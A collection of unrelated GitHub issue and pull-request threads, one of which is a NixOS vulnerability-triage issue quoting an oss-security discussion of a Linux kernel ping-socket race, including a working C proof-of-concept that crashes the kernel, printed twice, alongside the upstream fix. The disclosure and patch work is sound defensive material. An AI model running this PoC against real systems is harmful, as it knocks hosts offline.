In our product we use this great plugin as well when we start up the developers local servers. We have many applications running store their data in deployed environment in different cassandra keyspaces. In order to test all this applications together we need this feature as well local in memory.

Hi, interesting PR. Could you please elaborate some more on the design?

Hi,
in akka-persistence-cassandra all cassandra keyspaces are completely independent. I added this behavior to get a StorageExtension for each configured keyspace. That's it.
Modifications in detail:
#Guarantee that multiple lookups for the same keyspace always provide the same StorageExtension.  This is accomplished by having a map of storages instead of a singleton providing that one storage. The existing implementation would provide a storage for each JVM.
#Fixed concurrency issue introduced by using this map with the additional commit.
#Provide an extractor function StorageExtension#keyspaceFrom(config: Config) to get the keyspace according the akka config.
#Pass the keyspace to the StorageExtension.
#Instead of using the journal directly in all helper functions of the QueryTestSpec, it is passed and defined implicitly.
#New test which provides explicitly a journal with some keyspace

Hi, is this still a relevant PR?

Yes we use the feature this pr provides in our company. Would be great to have that merged.

What if the storageextension could be pluggable, this way a project that has a different storage extension impl requirement could configure the fqcn in typesafe config just like with the inmemory journal typesafe config L17. This way the class could look up and instantiate the appropriate storage extension L32
Could you please look into that and fix the PR so that it can be merged? That way my concern of having specific implementations have been addressed.

The StorageExtensionImpl should be pluggable of course, and in its own class and have its own configutation. What are your thoughts?

I think this would be a good solution. Currently I have not enough time to work on that, but will do it in about 2 weeks.


change mlh fellowship logo to prep logo — resolve issues/5

Please, go through these steps before you submit a PR.

[x] My Pod Leader knows I'm working on this Pull Request
[x] I've explained what the Pull Request is adding.
[x] I've explained why this is important.
Resolve issues 5 - https://github.com/MLH-Fellowship/prep-portfolio-23.APR.PREP.2/issues/5

Great work on the pull request! I reviewed your commits and everything looks good to me. It's always good practice to follow the correct format for pull request titles. For example, "chore: changed mlh fellowship logo to prep logo" would be a good title for this particular change. Keep up the good work!


Error when trying to delete song from playlist using SpotifyOAuth

Hello, when trying to run the code below, I encounter an error:
playlist_id = 'playlist id here'
song_id = 'id of song to remove'
index = 0
sp.playlist_remove_specific_occurrences_of_items(playlist_id, [{"uri":song_id,"positions":[index]}], snapshot_id=None)

I am authenticating as suggested in the documentation as follows:
scope = "playlist-modify-public playlist-modify-private"

sp = spotipy.Spotify(auth_manager=SpotifyOAuth(username='USERNAME', client_id="MY CLIENT ID", client_secret="MY CLIENT SECRET", redirect_uri="https://finnsoftware.net", scope=scope))

The error is as follows:
Traceback (most recent call last):
  File "/home/flanc/.local/lib/python3.8/site-packages/spotipy/oauth2.py", line 559, in get_access_token
    response.raise_for_status()
  File "/home/flanc/.local/lib/python3.8/site-packages/requests/models.py", line 953, in raise_for_status
    raise HTTPError(http_error_msg, response=self)
requests.exceptions.HTTPError: 400 Client Error: Bad Request for url: https://accounts.spotify.com/api/token

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "SqeaPyCleanSpotify.py", line 104, in <module>
    require_approval()
  File "SqeaPyCleanSpotify.py", line 95, in require_approval
    get_user_action()
  File "SqeaPyCleanSpotify.py", line 45, in get_user_action
    clean_playlist_from_uri(playlist_id)
  File "SqeaPyCleanSpotify.py", line 50, in clean_playlist_from_uri
    playlist = sp.playlist(playlist_id, fields=None, market=None, additional_types=('track', ))
  File "/home/flanc/.local/lib/python3.8/site-packages/spotipy/client.py", line 617, in playlist
    return self._get(
  File "/home/flanc/.local/lib/python3.8/site-packages/spotipy/client.py", line 297, in _get
    return self._internal_call("GET", url, payload, kwargs)
  File "/home/flanc/.local/lib/python3.8/site-packages/spotipy/client.py", line 221, in _internal_call
    headers = self._auth_headers()
  File "/home/flanc/.local/lib/python3.8/site-packages/spotipy/client.py", line 212, in _auth_headers
    token = self.auth_manager.get_access_token(as_dict=False)
  File "/home/flanc/.local/lib/python3.8/site-packages/spotipy/oauth2.py", line 565, in get_access_token
    self._handle_oauth_error(http_error)
  File "/home/flanc/.local/lib/python3.8/site-packages/spotipy/oauth2.py", line 146, in _handle_oauth_error
    raise SpotifyOauthError(
spotipy.oauth2.SpotifyOauthError: error: invalid_request, error_description: code must be supplied

Can someone explain what I am doing wrong?

When you run this script, it should ask you to open a URL in your browser. When you open this URL, you should log in and then click the "agree" button. You should then be redirected to a URL that begins with your redirect URI (https://finnsoftware.net). Then, you should paste this URL back into the program in order to complete the authorization process. Is this what you're doing?

Yes, @Peter-Schorn. I'm changing the redirect_url now, because I think javascript window.open() calls from the website are impacting the spotify redirect_url.
From what I read in the docs, it seems that you must include this redirect. Is there a way to bypass that redirect/url entry?

From what I read in the docs, it seems that you must include this redirect. Is there a way to bypass that redirect/url entry?

No, you cannot bypass this. You can read about the authorization process in detail here.
Are you running this as a local command-line script? If so, consider changing the redirect URI to http://localhost:8080.

Thanks for your help, @Peter-Schorn, the issue was window.open() calls in the website js. As soon as I changed the authentication page to about:blank, it started working.


Add lonboard to default environment

Addresses https://github.com/CryoInTheCloud/hub-image/issues/118

/condalock


Query support

Closes #25

Ideally we find a multi-line JSON input component with highlighting an in-line errors. Then one field would be enought.

I found this, should I integrate it in this PR?: https://www.npmjs.com/package/react-json-editor-ajrm

I found this, should I integrate it in this PR?: https://www.npmjs.com/package/react-json-editor-ajrm

Cool! Yeah, let's give it a try


feat: improve prometheus variable naming

[!IMPORTANT]
This pull request is a better alternative to #4. It, however, is not backwards compatible since the metric name is changed.

This pull request enhances Prometheus variable naming by adding the device as a label instead of including it in the variable name. This change accommodates the dynamic nature of UNIX devices that may change with reboots.

@paha I've just submitted two pull requests to handle the dynamic nature of UNIX devices that might change with reboots. While this pull request is superior, it lacks backward compatibility and must be released as a new major version.


Componentes Update 2021-02 Edition

Update NewRelic to <IP_ADDRESS>5
Update Composer to 1.10.20
Update Drupal Console Launcher to 1.9.7
Update Drush Version to 8.4.6
Update Drush Launcher to 0.9.0

Should we work the composer2 upgrade also into the ansible script?

No need, @renovate-bot will do that for us now 😁

Ah, gotcha - I was wondering because it wasn't doing anything to the things I updated in the PR, but that might not be covered yet I suppose.


Allow for path in tsserver_plugins

Using NixOs , usually things are not installed globally ,
https://github.com/pmizio/typescript-tools.nvim/blob/f8c2e0b36b651c85f52ad5c5373ff8b07adc15a7/lua/typescript-tools/process.lua#L57
Currently since a path cant be provided there is no way for NixOs users to use tsserver_plugins
Instead of string[] it could be sting|table []  with name and path as an optional .

Would be very cool. We can use plugins without installing them per project.


Give an actionable error message when a Pod requires a higher minimum OS version

Checks pod install output for the case where a pod requires a higher minimum OS deployment target version than the app is set to use, and attempts to turn it into a more actionable error message. This isn't foolproof since we are parsing the Ruby rather than actually executing it, but I would expect that the vast majority of cases would end up in the most useful version (and even those that don't are still much clearer with this as the final error message text than without it).
Fixes https://github.com/flutter/flutter/issues/113762
Pre-launch Checklist

[x] I read the Contributor Guide and followed the process outlined there for submitting PRs.
[x] I read the Tree Hygiene wiki page, which explains my responsibilities.
[x] I read and followed the Flutter Style Guide, including Features we expect every widget to implement.
[x] I signed the CLA.
[x] I listed at least one issue that this PR fixes in the description above.
[x] I updated/added relevant documentation (doc comments with ///).
[x] I added new tests to check the change I am making, or this PR is test-exempt.
[x] All existing and new tests are passing.

The podspec parsing here makes me sad; CocoaPods has the exact target version of both the app and the problematic pod at the point where it generates its error output, but doesn't include either one :(


Revert "Add Material 3 support for ListTile - Part 1 (#116194)"

Revert to unblock flutter roll to google3.
This reverts commit e57b7f4ea8ab8b348810d0a76f7bcf4aeabbe6d2.

@HansMuller this is to CP into the roll


Display created time for events (in: event list)

Displayed the creation time of a certain event within hkn event list

Hi Thomas,
I have added it, the representation of the time as shown below, I used startedtime value from event file here.

Looks super nice. Great work, @mrturkmen06

added to white-scree-fix-minor branch, if we merge it into 1.6.0 branch then we can deploy it as well with the minor fix on white screen issue.

Although this feature is added into 1.6.3, there will be some other changes regarding to it, since this task is belong to version 1.7.0, the issue will remain open until 1.7.0 is released. When refactored lab.Hub took place in version 1.7.0, this issue can be closed at that time.

exists in new release 1.6.4


🛠 [TASK] : Implement admin campaign preview tool widget

Summary
Implement admin preview tool widget
Description
As an admin user, I need a preview tool widget, so that I can see how my draft campaign will look to different users at different times across spaces (before I publish it).
See related design task for additional context #1005
AC

Keyboard shortcut to launch preview tools
If user clicks the stages tab within the control window, then show list of campaign stages

Before campaign start
During campaign
After campaign ends

If user clicks campaign stage, then change spaces components to reflect that stage
If user clicks the views tab within the control window, then show application states

Visitor (no key)
Guest (key found, locked)
Active (key found, unlocked)

If user clicks application state, then change spaces components to reflect that state

Out of scope (future MVE)

More granular campaign stages control to reflect all stages in campaign timeline (proposals, voting)
More granular views control based on registered roles (voter, proposer)
Option to toggle mock data on / off within space

Keyboard shortcut: ctrl+shift+A.
Can be easily changed if we need to.


#3466 check datasource status including failed datasource

Description

check datasource status including failed datasource
Related Issue : #3466

How Has This Been Tested?

Create a data source with invalid raw data and check if the status is failed.
Check whether the failed datasource is included in the log of datasourceCheckJob, which is executed every 30 minutes.

Need additional checks?
Types of changes

[ ] Bug fix (non-breaking change which fixes an issue)
[x] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)

Checklist:

[ ] I have read the CONTRIBUTING document.
[ ] My code follows the code style of this project.
[ ] My change requires a change to the documentation.
[ ] I have added tests to cover my changes.

Additional Context

deploy to 1


Roundup: [oss-security] Linux kernel ping socket / AF_LLC connect() sin_family race

Here is a report from the oss-security mailing list for Vulnerability Roundup 27.
Skip to First Email
Instructions:
Identification
Identify if we have the software, in 16.09, 17.03, and unstable. Then determine if we are vulnerable, and make a comment with your findings. It can also be helpful to specify if you think there is a patch, or if it can be fixed via a general update.
Example:
unstable: we are not vulnerable (link to the package)
17.03: we are vulnerable (link to the package)
16.09: we don't have it packaged

IMPORTANT: If you believe there are possibly related issues, bring them up on the parent issue!
Patching
Start by commenting on this issue saying you're working on a patch. This way, we don't duplicate work.
If you open a pull request, tag this issue and the master issue for the roundup.
If you commit the patch directly to a branch, please leave a comment on this issue with the branch and the commit hash, example:
fixed:

release-16.09: abc123

Skip to First Email
Upon Completion ...

[ ] Update Graham's database

Info
Triage Indicator:
-needs-triage +roundup27 thread:0000000000004371

File Search: https://search.nix.gsc.io/?q=connect&i=fosho&repos=nixos-nixpkgs
GitHub Search: https://github.com/NixOS/nixpkgs/search?utf8=✓&q=connect+in%3Apath&type=Code

Should the search term be changed from connect? Suggest a new package search by commenting:
-suggested:connect +suggested:correctPackageName thread:0000000000004371

Known CVEs:

Skip to End
Fri, 24 Mar 2017 21:27:14 +0100 Solar Designer <solar-at-openwall.com><EMAIL_ADDRESS>Hi,

I haven't fully investigated this issue, and the Subject is provisional
(but will probably get stuck).  I am not yet sure which kernel
subsystem(s) to blame here (ping sockets? LLC sockets? other/more?), and
there might be other ways to trigger the issue.

Just off Twitter:

https://twitter.com/danieljiang0415/status/845116665184497664

daniel_jiang
@danieljiang0415
google won't fix kernel crash bug, I release the poc now.
https://github.com/danieljiang0415/android_kernel_crash_poc

And the PoC is:

---
#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>
static int sockfd = 0;
static struct sockaddr_in addr = {0};

void fuzz(void * param){
    while(1){
        addr.sin_family = 0;//rand()%42;
        printf("sin_family1 = %08lx\n", addr.sin_family);
        connect(sockfd, (struct sockaddr *)&addr, 16);
    }
}
int main(int argc, char **argv)
{
    sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
    int thrd;
    pthread_create(&thrd, NULL, fuzz, NULL);
    while(1){
        addr.sin_family = 0x1a;//rand()%42;
        addr.sin_port = 0;
        addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
        connect(sockfd, (struct sockaddr *)&addr, 16);
        addr.sin_family = 0;
    }
    return 0;
}
---

I suppose the focus on Android is because it makes ping sockets
available to users by default, but the bug isn't Android-specific.

By granting ping sockets to a user, I am able to crash a RHEL7'ish
system with the above PoC quickly.  The crash (at least in my two tests)
is a NULL pointer dereference in net/ipv4/ping.c: ping_v4_unhash().
In newer upstream code, e.g. Linux 4.10.5, the function is renamed to
ping_unhash() since it's shared with IPv6, but is otherwise similar.

The two address families used by the PoC above are AF_UNSPEC and AF_LLC.
For the latter, net/llc/af_llc.c: llc_ui_connect() checks for AF_LLC and
then proceeds to overwrite parts of the "struct sockaddr".
llc_ui_bind() looks similar, so the issue might also be triggerable via
bind().  These overwrites might be directly related to the crash, or it
might be something further.  At first glance, these two functions look
similar in RHEL7 and 4.10.5, so, if relevant, can probably be used to
trigger the issue on latest upstream as well.

At this point, I think I'll leave further investigation to someone more
up-to-date on these interfaces and conventions.  I am merely conveying
the message, which at this point I understand only partially.

Alexander

Skip to End

Fri, 24 Mar 2017 21:43:30 +0100 Andrey Konovalov <andreyknvl-at-google.com><EMAIL_ADDRESS>On Fri, Mar 24, 2017 at 9:27 PM, Solar Designer<EMAIL_ADDRESS>wrote:
> Hi,
>
> I haven't fully investigated this issue, and the Subject is provisional
> (but will probably get stuck).  I am not yet sure which kernel
> subsystem(s) to blame here (ping sockets? LLC sockets? other/more?), and
> there might be other ways to trigger the issue.

Reproduced the crash on current upstream
(ebe64824e9de4b3ab3bd3928312b4b2bc57b4b7e).

Adding kernel maintainers.

>
> Just off Twitter:
>
> https://twitter.com/danieljiang0415/status/845116665184497664
>
> daniel_jiang
> @danieljiang0415
> google won't fix kernel crash bug, I release the poc now.
> https://github.com/danieljiang0415/android_kernel_crash_poc
>
> And the PoC is:
>
> ---
> #include <stdio.h>
> #include <sys/socket.h>
> #include <arpa/inet.h>
> #include <stdlib.h>
> static int sockfd = 0;
> static struct sockaddr_in addr = {0};
>
> void fuzz(void * param){
>     while(1){
>         addr.sin_family = 0;//rand()%42;
>         printf("sin_family1 = %08lx\n", addr.sin_family);
>         connect(sockfd, (struct sockaddr *)&addr, 16);
>     }
> }
> int main(int argc, char **argv)
> {
>     sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
>     int thrd;
>     pthread_create(&thrd, NULL, fuzz, NULL);
>     while(1){
>         addr.sin_family = 0x1a;//rand()%42;
>         addr.sin_port = 0;
>         addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
>         connect(sockfd, (struct sockaddr *)&addr, 16);
>         addr.sin_family = 0;
>     }
>     return 0;
> }
> ---
>
> I suppose the focus on Android is because it makes ping sockets
> available to users by default, but the bug isn't Android-specific.
>
> By granting ping sockets to a user, I am able to crash a RHEL7'ish
> system with the above PoC quickly.  The crash (at least in my two tests)
> is a NULL pointer dereference in net/ipv4/ping.c: ping_v4_unhash().
> In newer upstream code, e.g. Linux 4.10.5, the function is renamed to
> ping_unhash() since it's shared with IPv6, but is otherwise similar.
>
> The two address families used by the PoC above are AF_UNSPEC and AF_LLC.
> For the latter, net/llc/af_llc.c: llc_ui_connect() checks for AF_LLC and
> then proceeds to overwrite parts of the "struct sockaddr".
> llc_ui_bind() looks similar, so the issue might also be triggerable via
> bind().  These overwrites might be directly related to the crash, or it
> might be something further.  At first glance, these two functions look
> similar in RHEL7 and 4.10.5, so, if relevant, can probably be used to
> trigger the issue on latest upstream as well.
>
> At this point, I think I'll leave further investigation to someone more
> up-to-date on these interfaces and conventions.  I am merely conveying
> the message, which at this point I understand only partially.
>
> Alexander

Skip to End

Fri, 24 Mar 2017 15:21:06 -0700 Eric Dumazet <edumazet-at-google.com><EMAIL_ADDRESS>On Fri, Mar 24, 2017 at 1:43 PM, Andrey Konovalov<EMAIL_ADDRESS>wrote:

> On Fri, Mar 24, 2017 at 9:27 PM, Solar Designer<EMAIL_ADDRESS>> wrote:
> > Hi,
> >
> > I haven't fully investigated this issue, and the Subject is provisional
> > (but will probably get stuck).  I am not yet sure which kernel
> > subsystem(s) to blame here (ping sockets? LLC sockets? other/more?), and
> > there might be other ways to trigger the issue.
>
> Reproduced the crash on current upstream
> (ebe64824e9de4b3ab3bd3928312b4b2bc57b4b7e).
>
> Adding kernel maintainers.
>

Looks easy enough to fix ?

diff --git a/net/ipv4/ping.c b/net/ipv4/ping.c
index
2af6244b83e27ae384e96cf071c10c5a89674804..ccfbce13a6333a65dab64e4847dd510dfafb1b43
100644
--- a/net/ipv4/ping.c
+++ b/net/ipv4/ping.c
@@ -156,17 +156,18 @@ int ping_hash(struct sock *sk)
 void ping_unhash(struct sock *sk)
 {
        struct inet_sock *isk = inet_sk(sk);
+
        pr_debug("ping_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num);
+       write_lock_bh(&ping_table.lock);
        if (sk_hashed(sk)) {
-               write_lock_bh(&ping_table.lock);
                hlist_nulls_del(&sk->sk_nulls_node);
                sk_nulls_node_init(&sk->sk_nulls_node);
                sock_put(sk);
                isk->inet_num = 0;
                isk->inet_sport = 0;
                sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1);
-               write_unlock_bh(&ping_table.lock);
        }
+       write_unlock_bh(&ping_table.lock);
 }
 EXPORT_SYMBOL_GPL(ping_unhash);

Skip to End

Sat, 25 Mar 2017 01:10:57 +0100 Solar Designer <solar-at-openwall.com><EMAIL_ADDRESS>On Fri, Mar 24, 2017 at 03:21:06PM -0700, Eric Dumazet wrote:
> Looks easy enough to fix ?

Oh.  Probably.  Thanks.  Need to test, but I guess you already did?

> diff --git a/net/ipv4/ping.c b/net/ipv4/ping.c
> index
> 2af6244b83e27ae384e96cf071c10c5a89674804..ccfbce13a6333a65dab64e4847dd510dfafb1b43
> 100644
> --- a/net/ipv4/ping.c
> +++ b/net/ipv4/ping.c
> @@ -156,17 +156,18 @@ int ping_hash(struct sock *sk)
>  void ping_unhash(struct sock *sk)
>  {
>         struct inet_sock *isk = inet_sk(sk);
> +
>         pr_debug("ping_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num);
> +       write_lock_bh(&ping_table.lock);
>         if (sk_hashed(sk)) {
> -               write_lock_bh(&ping_table.lock);
>                 hlist_nulls_del(&sk->sk_nulls_node);
>                 sk_nulls_node_init(&sk->sk_nulls_node);
>                 sock_put(sk);
>                 isk->inet_num = 0;
>                 isk->inet_sport = 0;
>                 sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1);
> -               write_unlock_bh(&ping_table.lock);
>         }
> +       write_unlock_bh(&ping_table.lock);
>  }
>  EXPORT_SYMBOL_GPL(ping_unhash);

FWIW, in Pavel's original implementation for 2.4.32 (unused), this was:

static void ping_v4_unhash(struct sock *sk)
{
	DEBUG(("ping_v4_unhash(sk=%p,sk->num=%u)\n", sk, sk->num));
	write_lock_bh(&ping_hash_lock);
	if (sk->pprev) {
		if (sk->next)
		       sk->next->pprev = sk->pprev;
		*sk->pprev = sk->next;
		sk->pprev = NULL;
		sk->num = 0;
		sock_prot_dec_use(sk->prot);
		__sock_put(sk);
	}
	write_unlock_bh(&ping_hash_lock);
}

Looks like the erroneous optimization (not expecting concurrent activity
on the same socket?) was introduced during conversion to 2.6's hlists.

So far this cursed function had 3 bugs, two of them security (including
this one) and one probably benign (or if not, then effectively a subset
of this bug as it performed some unneeded / stale debugging work before
acquiring the lock), with all 3 introduced in forward-porting.  Maybe
the nature of forward-porting activity makes people relatively
inattentive ("compiles with the new interfaces and still works? must be
correct"), compared to when writing new code.

Anyhow, I share some responsibility for this mess, for having advocated
this patch being forward-ported and merged back then.  I still like
having this functionality and its userspace security benefits... but I
don't like the kernel bugs.

Alexander

Skip to End

This was almost certainly fixed by a stable kernel update.


[Bug] DnD 5E base PC Sheet not changeable to tidy sheet if it was set to the default one manually before.

DnD 5E base PC Sheet not changeable to tidy sheet if it was set to the default one manually before.
I have noticed that since the last few updates, one of my players sheets can't be changed to the tidy sheet anymore.
While out of my 5 players, 4 used Tidy, so I set the tidy sheet to be the default sheet.
This meant that the one player who preferred the new base dnd sheet, I set theirs to the default one in the "this sheet" setting.
But since editing the sheets is actually easier in tidy for me when I fix stuff or do things out of session, I normally switch her sheet back to tidy, but that isn't working since the last two updates.
When I set the "this sheet" settings to tidy or default which is tidy, it seems to reload the sheet but just stays on the default one and ignores the setting.
Could it be that some bug fix or change that happened since then is causing the sheet and default sheet thingy to be ignored if it was previously manually set to something else than the sheet set to default?

The other user experiencing this issue believes it to be caused by "Monk's Enhanced Journal". Can you check your modules and see if you have this module and whether disabling it temporarily causes the issue to go away?
They also report that it's only affecting Character sheets and not the others.

Experiencing the same issue here. Disabling MEJ immediately allowed me to switch the test PC back to Tidy Sheets.
This is after today's update, btw. Without disabling MEJ, even the new update does not fix the issue.

That user on the Tidy discord is messaging ironmonk to see if something can be done about it 🤞
I will keep the issue open as a Compatibility ticket so others can see this paper trail, until the issue is fully resolved.

ye its a compat issue with monks or so it seems.

@SirAron111 it seems IronMonk has released a fix to this issue. Can you verify that things are resolved on your side?
I'll keep the issue open for a week or so, or until I hear back from you, whichever is sooner.

Yep its fixed


docs: remove module-metadata.json and commitlint.config.js

/run pipeline

:tada: This PR is included in version 1.0.3 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


MM-14316 Android Notifications and reply to notifications from native code

Summary
Whenever we replied to a notification on Android we were using the HeadlessJS service to spin up the react context and then used the code in JS to post the reply to the server.
This caused two problems:

When replying to a notification either with the app or the share extension opened the app would crash. The reason for this is that HeadlessJS needs to run only with the app in the background.

By default, your app will crash if you try to run a task while the app is in the foreground. This is to prevent developers from shooting themselves in the foot by doing a lot of work in a task and slowing the UI.

Because the app initialized when replying to a push notification, the WebSocket did connect therefore the user could be set as online until the app spins down. When the user is online and the preference is set to send notifications on "Away or Offline" notifications are not being sent.

With this PR we remove the use of the HeadlessJS service and change it to a BroadcastReceiver when replying to a notification. Then we get the user token and the server url from the "KeyChain module" and use that to make the request to post the reply.
Two things happen here:

Replies are submitted to the server using the native code without needed to instantiate the react context.
Because the react context is not started then the WebSocket is not connecting making it possible to receive subsequent notifications after replying to a notification.

Other changes in this PR include the notifications itself by using a Messaging style notification and following the Add direct reply action as illustrated in the google docs.
Ticket Link
https://mattermost.atlassian.net/browse/MM-14316
https://mattermost.atlassian.net/browse/MM-14285
Checklist
[Place an '[x]' (no spaces) in all applicable fields. Please remove unrelated fields.]

[x] Has UI changes

Device Information
This PR was tested on: Android 7, 8 and 9 emulator, Android 8 Samsung J7
Screenshots

@migbot feel free to take a look.

@migbot want to test this one again before merging?

@migbot are you sure? cause the websocket does not connect is just a createpost action from native code... I hardly doubt it

The only way that would make sense is if the create post endpoint sets the status as online and that would be outside of the scope of this PR.

@migbot indeed it is a server issue https://github.com/mattermost/mattermost-server/blob/master/api4/post.go#L66 , need to understand why we do this

@migbot and @saturninoabril  discussions on the above here https://community.mattermost.com/core/pl/1cgrxpoghfg73bh7js79uisr1o
This PR is ready to merge as long as the Android 7 issues are resolved, @migbot can you confirm the resolution of that issue that you saw?


feat(unit-tests): Increase db package code coverage to 86.7% (AEROGEAR-8555)

Motivation
https://issues.jboss.org/browse/AEROGEAR-8555
What
Increased test coverage to 86.7% for the db package.
Why
Code coverage stood at 67% for a critical package. This needed to be increased.
How
Took the existing testing implementations for this package and converted them to table-driven tests, meaning more cases can easily be added to or removed from each test method.
Verification Steps
Add the steps required to check this change. Following an example.

From the root of the project, run the following command to test the db package:

go test ./pkg/db -cover -tags=integration

Check the output. It should say the code coverage achieved during this test. Did it get 86.7%?

$ go test ./pkg/db -cover -tags=integration
ok      github.com/aerogear/mobile-security-service/pkg/db      10.030s coverage: 86.7% of statements

Inspect the tests to ensure the conditions are correct.

Checklist:

[x] Code has been tested locally by PR requester
[ ] Changes have been successfully verified by another team member

Progress

[x] Finished task

Additional Notes

Coverage increased (+6.2%) to 73.022% when pulling d714d9d47973feb6153d00ed495370285f799c67 on craicoverflow:AEROGEAR-8555 into 63cc145f42a83f2086dc573d5f5a2f521710f5de on aerogear:master.

Good work @craicoverflow . I would be interested to run the same cover on the other mobile service project file and see if that covers the same logic as ours.

Good work @craicoverflow . I would be interested to run the same cover on the other mobile service project file and see if that covers the same logic as ours.

@davidffrench I tested the other mobile services project which is similar to this project, [aerogear-app-metrics], which has coverage of 81% on the db package.
For the conditions that we cannot reach in our test cases - these will fail in a real-life scenario when the actual code is incorrect. So I don't think we need to worry about this, it's just not possible to simulate these scenarios as the supplied arguments do not influence the outcome of these conditions.


fix: safely update per-token context

Summary
This pull request updates the JavaScript parser to safely handle per-token context updates in the event that the parser context stack is empty. I'm a little suspicious that this fix may be paving over a deeper issue around incorrect context population in the first place, but the resulting AST looked correct and other upstream parser implementations do not throw in this case.
Resolves #1134
Test Plan
Run ./rome check on a file with the following content and verify that no internal error is thrown:
const Test = () => {
  return (

      {true && (false ?
 :
)}

  );
};

Hmm I'm not sure either. I checked babel-parser and they don't have any kind of check here. It's likely only necessary because of the way we made the parser recoverable. I'll come back to this and do some investigation.


[BUG] OPNSense HA Replication breaks Kea HA Replication settings by overwriting /usr/local/etc/kea/dhcp*.conf

[X] I have read the contributing guide lines at https://github.com/opnsense/core/blob/master/CONTRIBUTING.md
[X] I am convinced that my issue is new after having checked both open and closed issues

Describe the bug
Checking the HA sync setting on OPNsense 21.4.1 for "Kea DHCP" replaces the /usr/local/etc/kea/kea-dhcp4.conf file on the backup firewall with the one from the primary. This overwrites the "this-server-name" setting in the "hooks-libraries" section for libdhcp_ha.so. Afterwards both kea instances on both firewalls behave as if they were the same primary "server" and HA replication fails. It is a bug to overwrite the "this-server-name" setting, leaving the Kea-HA settings broken.
To Reproduce

Install & set up kea with HA on the primary firewall. CA on port 8000, peers on port 8001, URLs pointing to the FWs:8001
Install & set up kea with HA on the secondary firewall. CA on port 8000, peers on port 8001, URLs pointing to the FWs:8001
Check Kea DHCP in the HA Settings on the primary firewall
HA Sync Kea config to backup FW
Check Kea log on primary FW opnsense-1:
2024-04-03T15:07:02	Warning	kea-dhcp4	WARN [kea-dhcp4.ha-hooks.0x835495900] HA_COMMUNICATION_INTERRUPTED communication with opnsense-2 is interrupted
2024-04-03T15:07:02	Warning	kea-dhcp4	WARN [kea-dhcp4.ha-hooks.0x835495900] HA_HEARTBEAT_COMMUNICATIONS_FAILED failed to send heartbeat to opnsense-2 (http://<IP_ADDRESS>:8001/): Operation timed out
Check Kea log on backup FW opnsense-2:
2024-04-03T15:08:30	Warning	kea-dhcp4	WARN [kea-dhcp4.ha-hooks.0x83384c000] HA_HEARTBEAT_COMMUNICATIONS_FAILED failed to send heartbeat to opnsense-2 (http://<IP_ADDRESS>:8001/): Operation timed out
2024-04-03T15:08:09	Warning	kea-dhcp4	WARN [kea-dhcp4.ha-hooks.0x8336a6900] HA_COMMUNICATION_INTERRUPTED communication with opnsense-2 is interrupted

Note that both instances of Kea try to contact the same IP, caused by both instances assuming that they are indeed the primary firewall. Changing the this-server-name setting on the secondary firewall and restarting kea fixes the installation.
Also, please note that after syncing the files both nodes are in "hot-standby" mode and that the backup FW has happened to come up as primary DHCP server in my setting. I haven't tested if that will lead to any issues in combination with virtual IPs. Actually it shouldn't since DHCP is multicast. Just mentioning it.
Suggested fixes:

After syncing the files, replace the "this-server-name" setting with the hostname of the firewall.

I'm happy to assist in further investigation
Cheers

see the help text:

The name of this server, should match with one of the entries in the HA peers. Leave empty to use this machines hostname

Hi Ad,
Thanks for looking into this. The help text is not clear and the effect is not intuitive. The help suggests that the “This Server Name” box should be set. If it is set on the HA-Peer 1, it will overwrite the setting on HA-Peer-2 and HA sync will stop working. IMHO the box should not be in the gui and the peers should default to the hostname to keep things simple and intuitive. If it were in the UI, it should be exempt from synchronization because, obviously, setting the box breaks things.
Freundliche Grüße / Best Regards
Oliver Oldach
Head of Strategic Consulting

@.***https://www.enthus.de/
Telefon:
E-Mail:
Website:
+49 7031 9859 472tel:+49 7031 9859 472
<EMAIL_ADDRESS>www.enthus.dehttps://www.enthus.de/
secadm GmbH
Standort München
Am Hochacker 3-5
85630 München

[enthus Cloud]https://enthus.de/services-xaas/xaas/enthus-cloud?utm_source=signature&utm_medium=email&utm_campaign=enthuscloud&utm_content=version1
Sitz der Gesellschaft: Böblingen     Amtsgericht: Stuttgart HRB 787137     USt-IdNr.: DE251573157
Geschäftsführer: Stefan Voß
Informationen zum Datenschutz
Kunden, Interessenten, Bewerber, Netzwerkpartner, Lieferanten und Geschäftspartner finden unter folgendem Link die gesetzlich vorgeschriebenen Informationen zum Datenschutz nach Artikel 13 DSGVO: https://enthus.de/datenschutz
From: Ad Schellevis @.>
Date: Wednesday, 3. April 2024 at 19:32
To: opnsense/core @.>
Cc: Oliver Oldach @.>, Author @.>
Subject: Re: [opnsense/core] [BUG] OPNSense HA Replication breaks Kea HA Replication settings by overwriting /usr/local/etc/kea/dhcp*.conf (Issue #7354)
see the help text:
The name of this server, should match with one of the entries in the HA peers. Leave empty to use this machines hostname
—
Reply to this email directly, view it on GitHubhttps://github.com/opnsense/core/issues/7354#issuecomment-2035188306, or unsubscribehttps://github.com/notifications/unsubscribe-auth/ALFKZGLQ34URPHJTGG63IA3Y3Q4IXAVCNFSM6AAAAABFVTAJXCVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDAMZVGE4DQMZQGY.
You are receiving this because you authored the thread.Message ID: @.***>

Thanks for looking into this. The help text is not clear and the effect is not intuitive.

Suggestions are welcome, just open a pull-request to propose modifications.

IMHO the box should not be in the gui and the peers should default to the hostname to keep things simple and intuitive

That's exactly what they do.... the gui even shows the current value as placeholder when left empty.

Hi Ad,
We can close this issue. I have moved on to use the deprecated ISC for the ability to define boot options more granularly and the stability. I think the kea needs some work and I will spend some time on it, eventually. Right now, I am short on resources and pressed for results.
Thank you, for your support and effort in this.
Oliver
Freundliche Grüße / Best Regards
Oliver Oldach
Head of Strategic Consulting

[cid:enthus_21ac4623-3bd8-44cb-b5ea-6f132455547f.jpg]https://www.enthus.de
Telefon:
E-Mail:
Website:
+49 7031 9859 472tel:+49 7031 9859 472
<EMAIL_ADDRESS>www.enthus.dehttps://www.enthus.de/
secadm GmbH
Standort München
Am Hochacker 3-5
